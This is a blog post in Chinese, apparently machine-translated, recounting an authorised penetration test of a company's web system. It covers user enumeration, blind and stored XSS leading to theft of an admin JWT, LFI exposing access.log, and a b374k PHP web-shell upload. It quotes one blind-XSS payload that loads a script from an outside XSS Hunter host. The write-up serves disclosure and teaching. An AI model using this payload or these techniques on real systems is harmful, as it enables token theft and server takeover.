
年初,一家公司的一名员工写信给我。 据我了解,该公司存在一个小冲突。 因此,某些员工可能会损害系统。 审核系统的决定绝对是正确的决定。 毕竟,检查的结果使我感到惊喜,而“令人不愉快的”使顾客感到惊讶。
系统架构原则上是标准的。 它基于身份验证服务。 此外,根据jwt发行的令牌,用户可以在各个子域上使用系统的功能。
测试仅限于一个子域。 但最基本的根据客户。 我不会详细说明所有错误和问题。 他们被发现了很多。 我只会描述那些对我来说最奇怪的东西。
搜索用户时的信息冗余
允许用户接收以下性质的信息的搜索查询-用户ID,名称,登录名,头像...

毫无问题,可以收集Login_name用户的整个数据库。 登录功能也没有特殊限制。 这样就可以在多个流中选择一个密码,或者对系统中最重要的用户执行点网络钓鱼。
要求用户支持的XSS盲目。
我得到的印象是,我遇到的系统中有90%存在此问题。 早些时候,来自平台的用于汇总评论的“混蛋”一再向我飞来。 对Internet上的用户行为监视系统的访问也大量涌入。 有很多东西。 但是,很少有人知道这有多危险。 具体来说,此漏洞是
在此处编写的。
在这种情况下,当我收到
XSS Hunter的通知时,确保攻击是偶然进行的。 攻击媒介如下:
"><script src=https://sa.xss.ht></script>
但是客户不相信我可以通过此攻击媒介来控制管理面板。 毕竟,所有有价值的信息都存储在本地存储中。 由于XSS Hunter不支持接收本地存储信息,因此我必须部署自己的XSS记录器。 以下
出版物非常有帮助。 通过反复攻击,可以验证是否可以通过恶意手段甚至从本地存储轻松获得管理员的jwt令牌。

好了,那么有了系统中的管理员权限,您可以执行任何操作。
将XSS存储在电子邮件中。
在系统中发现了一项功能,该功能使您可以创建带有框架的电子邮件邀请来注册新用户。 您可以在信件形式中输入该人的姓名。 使电子邮件更加个性化。 结果,所有内容都没有逃脱并落入信中。 为了通过信件成功进行类似的xss攻击,您需要了解受害者的电子邮件客户端,并且需要知道此客户端的零日xss。 通常,根据定义,此攻击的成功率可忽略不计。 直到我在信的右上角发现一个好奇的按钮的那一刻。

这是打开信件的网络版本的机会。 在这里,一个惊喜在等待着我。 我的XSS工作正常。 同时,该信件的网络版本已在管理员*。Com子域上打开。

可以说是双重惊喜。
可用文件access.log
在审核过程中,我找到了一个有趣的地方。 当不同的字符进入请求时,404到达服务器的响应,但周期性地,404响应与前一个稍有不同。 有时会有一个额外的标题。 有时不是。 系统响应中的某种突变促使我检查该位置的本地文件包含(
LFI )。 我设置了lfi字典,并等待系统返回所有请求的答案。 结果,当查看测试结果时,我对状态为200且传输的数据非常重要的答案感到非常惊讶。

原来,我找到了一个可读的文件access.log。 该文件记录了服务器上的所有活动。 包括在该文件中,就有可能检测到jwt用户令牌。

这些令牌的到期时间非常长。 而且那也不是很好。
完全通过Web Shell访问服务器
原则上,以上所有都是常见问题。 但是某些类型的漏洞已经很难满足。 这是关于通过shell.php文件中整齐加载的代码访问服务器。 之后,位于此服务器上的所有项目都将受到威胁。
Bo0oM于2016年在他的博客中写道。
但是回到我的例子。 该系统具有发布出版物的能力。 同时,可以上传图片进行发布。 图片已保存在同一域中。 但是文件名被强制更改。 即您上传-mypicture.jpg。 但是结果是,您得到12345.jpg。 我决定检查如果传输xml文件会发生什么情况(当时我显然梦想着见到XXE)。 令我惊讶的是,我得到了答案123556.xml。 然后,我意识到Web Shell的php文件扩展名有99%的成功机会。 对于此攻击,我使用了
b374k shell 。 通过直接访问文件-我得到了想要的东西。 访问服务器目录。

但这不是最可悲的事情。 最可悲的是,通过此漏洞,有可能破坏此服务器根目录中的10个以上项目。

我的朋友
Cyberpunkyc说,这可以在2007-2010年看到。 las,在2019年的院子里。今天也存在类似的问题。
经过测试,客户对结果感到非常惊讶。 我很高兴我在测试中非常有用。 如果您对有趣的项目有任何建议,请随时写信给我;)